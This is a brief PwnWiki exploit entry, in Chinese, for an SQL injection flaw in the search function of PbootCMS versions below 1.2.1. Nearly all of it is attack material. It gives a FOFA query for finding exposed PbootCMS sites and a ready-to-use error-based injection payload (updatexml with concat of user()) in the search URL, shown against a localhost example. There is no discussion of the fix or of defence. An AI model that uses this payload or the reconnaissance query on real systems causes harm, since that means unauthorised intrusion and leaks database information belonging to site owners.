PbootCMS search SQL注入漏洞
From PwnWiki
漏洞影響
PbootCMS < 1.2.1
FOFA
app="PBOOTCMS"
漏洞利用
/index.php/Search/index?keyword=123&updatexml(1,concat(0x7e,user(),0x7e),1));%23=123](http://127.0.0.1/PbootCMS/index.php/Search/index?keyword=123&updatexml(1,concat(0x7e,user(),0x7e),1));%23=123)